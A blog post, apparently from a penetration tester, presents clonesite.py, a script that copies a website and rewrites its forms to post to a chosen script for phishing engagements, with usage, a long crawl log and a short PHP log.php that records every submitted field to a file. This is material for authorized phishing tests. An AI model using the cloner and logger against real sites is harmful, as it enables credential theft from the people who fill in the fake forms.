New Script/Tool: clonesite.py

As mentioned in an earlier post, I decided to write my own site cloner tool for use in my phishing exercise/engagements.  I needed a tool that would complete (or as close as I could get) clone any given site and then update any forms with links to a data collection script that I specify.

The current version of the "Site Cloner" tool is hosted on GitHub at https://github.com/tatanus/PHISHING/blob/master/SCRIPTS/clonesite.py

In order to run the script, simply execute:

python clonesite.py <URL> <outdirectory> (optional <form action>)
where:
      <URL> = the full URL of the page to be cloned
      <outdirectory> = where do you want the files to be saved to
      <form action> = the script to execute when someone submits a form

An example would be:

python clonesite.py "http://www.safelogin.co" "safelogin" log.php

This command line would execute "clonesite.py" on the URL "http://www.safelogin.co", save all files into the directory located at "./safelogin" and finally rewrite all forms to submit to a script called "log.php".  Someone will have to create that script (log.php) later and stored in the same directory.

When the script is run, you will see verbose output similar to the following:

	# python clonesite.py "http://www.safelogin.co" "safelogin" log.php
	CLONING URL [http://www.safelogin.co]
	FOUND A NEW LINK [http://yui.yahooapis.com/3.2.0/build/cssreset/reset-min.css]
	FOUND A NEW LINK * [http://yui.yahooapis.com/3.2.0/build/cssreset/reset-min.css]
	BAD URL [http://yui.yahooapis.com/3.2.0/build/cssreset/reset-min.css]
	FOUND A NEW LINK [http://www.safelogin.co/css/bootstrap.css]
	FOUND A NEW LINK * [/css/bootstrap.css]
	CLONING URL [http://www.safelogin.co/css/bootstrap.css]
	FOUND A NEW LINK [http://www.safelogin.co/img/glyphicons-halflings.png]
	FOUND A NEW LINK * [/img/glyphicons-halflings.png]
	WRITING OUT FILE [img/glyphicons-halflings.png]
	FOUND A NEW LINK [http://www.safelogin.co/img/glyphicons-halflings-white.png]
	FOUND A NEW LINK * [/img/glyphicons-halflings-white.png]
	WRITING OUT FILE [img/glyphicons-halflings-white.png]
	WRITING OUT FILE [css/bootstrap.css]
	FOUND A NEW LINK [http://www.safelogin.co/css/bootstrap-responsive.css]
	FOUND A NEW LINK * [/css/bootstrap-responsive.css]
	CLONING URL [http://www.safelogin.co/css/bootstrap-responsive.css]
	WRITING OUT FILE [css/bootstrap-responsive.css]
	FOUND A NEW LINK [http://www.safelogin.co/css/docs.css]
	FOUND A NEW LINK * [/css/docs.css]
	CLONING URL [http://www.safelogin.co/css/docs.css]
	FOUND A NEW LINK [http://www.safelogin.co/img/grid-18px-masked.png]
	FOUND A NEW LINK * [/img/grid-18px-masked.png]
	We failed with error code - 404.
	WRITING OUT FILE [css/docs.css]
	FOUND A NEW LINK [http://www.safelogin.co/js/google-code-prettify/prettify.css]
	FOUND A NEW LINK * [/js/google-code-prettify/prettify.css]
	CLONING URL [http://www.safelogin.co/js/google-code-prettify/prettify.css]
	WRITING OUT FILE [js/google-code-prettify/prettify.css]
	FOUND A NEW LINK [http://html5shim.googlecode.com/svn/trunk/html5.js]
	FOUND A NEW LINK * [http://html5shim.googlecode.com/svn/trunk/html5.js]
	BAD URL [http://html5shim.googlecode.com/svn/trunk/html5.js]
	FOUND A NEW LINK [http://pagead2.googlesyndication.com/pagead/show_ads.js]
	FOUND A NEW LINK * [http://pagead2.googlesyndication.com/pagead/show_ads.js]
	BAD URL [http://pagead2.googlesyndication.com/pagead/show_ads.js]
	FOUND A NEW LINK [http://www.safelogin.co/js/jquery.js]
	FOUND A NEW LINK * [/js/jquery.js]
	CLONING URL [http://www.safelogin.co/js/jquery.js]
	WRITING OUT FILE [js/jquery.js]
	FOUND A NEW LINK [http://www.safelogin.co/js/google-code-prettify/prettify.js]
	FOUND A NEW LINK * [/js/google-code-prettify/prettify.js]
	CLONING URL [http://www.safelogin.co/js/google-code-prettify/prettify.js]
	WRITING OUT FILE [js/google-code-prettify/prettify.js]
	FOUND A NEW LINK [http://www.safelogin.co/js/bootstrap.js]
	FOUND A NEW LINK * [/js/bootstrap.js]
	CLONING URL [http://www.safelogin.co/js/bootstrap.js]
	WRITING OUT FILE [js/bootstrap.js]
	FOUND A NEW LINK [http://www.safelogin.co/create.php]
	FOUND A NEW LINK * [/create.php]
	CLONING URL [http://www.safelogin.co/create.php]
	FOUND A NEW LINK [http://yui.yahooapis.com/3.2.0/build/cssreset/reset-min.css]
	FOUND A NEW LINK * [http://yui.yahooapis.com/3.2.0/build/cssreset/reset-min.css]
	ALREADY SEEN URL [http://yui.yahooapis.com/3.2.0/build/cssreset/reset-min.css]
	FOUND A NEW LINK [http://www.safelogin.co/css/bootstrap.css]
	FOUND A NEW LINK * [/css/bootstrap.css]
	ALREADY SEEN URL [http://www.safelogin.co/css/bootstrap.css]
	FOUND A NEW LINK [http://www.safelogin.co/css/bootstrap-responsive.css]
	FOUND A NEW LINK * [/css/bootstrap-responsive.css]
	ALREADY SEEN URL [http://www.safelogin.co/css/bootstrap-responsive.css]
	FOUND A NEW LINK [http://www.safelogin.co/css/docs.css]
	FOUND A NEW LINK * [/css/docs.css]
	ALREADY SEEN URL [http://www.safelogin.co/css/docs.css]
	FOUND A NEW LINK [http://www.safelogin.co/js/google-code-prettify/prettify.css]
	FOUND A NEW LINK * [/js/google-code-prettify/prettify.css]
	ALREADY SEEN URL [http://www.safelogin.co/js/google-code-prettify/prettify.css]
	FOUND A NEW LINK [http://html5shim.googlecode.com/svn/trunk/html5.js]
	FOUND A NEW LINK * [http://html5shim.googlecode.com/svn/trunk/html5.js]
	ALREADY SEEN URL [http://html5shim.googlecode.com/svn/trunk/html5.js]
	FOUND A NEW LINK [http://pagead2.googlesyndication.com/pagead/show_ads.js]
	FOUND A NEW LINK * [http://pagead2.googlesyndication.com/pagead/show_ads.js]
	ALREADY SEEN URL [http://pagead2.googlesyndication.com/pagead/show_ads.js]
	FOUND A NEW LINK [http://www.safelogin.co/js/jquery.js]
	FOUND A NEW LINK * [/js/jquery.js]
	ALREADY SEEN URL [http://www.safelogin.co/js/jquery.js]
	FOUND A NEW LINK [http://www.safelogin.co/js/google-code-prettify/prettify.js]
	FOUND A NEW LINK * [/js/google-code-prettify/prettify.js]
	ALREADY SEEN URL [http://www.safelogin.co/js/google-code-prettify/prettify.js]
	FOUND A NEW LINK [http://www.safelogin.co/js/bootstrap.js]
	FOUND A NEW LINK * [/js/bootstrap.js]
	ALREADY SEEN URL [http://www.safelogin.co/js/bootstrap.js]
	WRITING OUT FILE [create.php]
	FOUND A FORM [<form class="form-horizontal" action="/create.php" method="GET">]
	REWROTE FORM TO BE [<form method="get" action="log.php" class="form-horizontal">]
	WRITING OUT FILE [index.html]

view raw sample_output_clonesite.py hosted with ❤ by GitHub

In this output you can see each page, link, file, and form that the script identifies and what it does with it.  Some files (binary formats such as images) are simply downloaded, where as html documents will be processed for additional links and forms.  Anytime a form is encountered, the "form tag" is rewritten.

FOUND A FORM                [<form class="form-horizontal" action="/create.php" method="GET">]
REWROTE FORM TO BE  [<form method="get" action="log.php" class="form-horizontal">]

As is shown in the above example, the form action was changed from being "/create.php" to being "log.php".  By doing this automatically, it saves time and effort by not requiring the user to go back, find, and edit all of the forms them selves.

Below is an example of what "log.php" could look like:

	<?php
	$file = 'LOG.txt';
	$arr= $_REQUEST;
	$fp = fopen($file, 'a');
	foreach ($arr as $key => $value) {
	$toFile = "Key: $key; Value: $value \n";
	fwrite($fp, "$toFile");
	}
	fclose($fp);
	?>

view raw log.php hosted with ❤ by GitHub

I hope this script is of use to you.  As always, if you have any comments/criticisms,etc, please leave a comment below.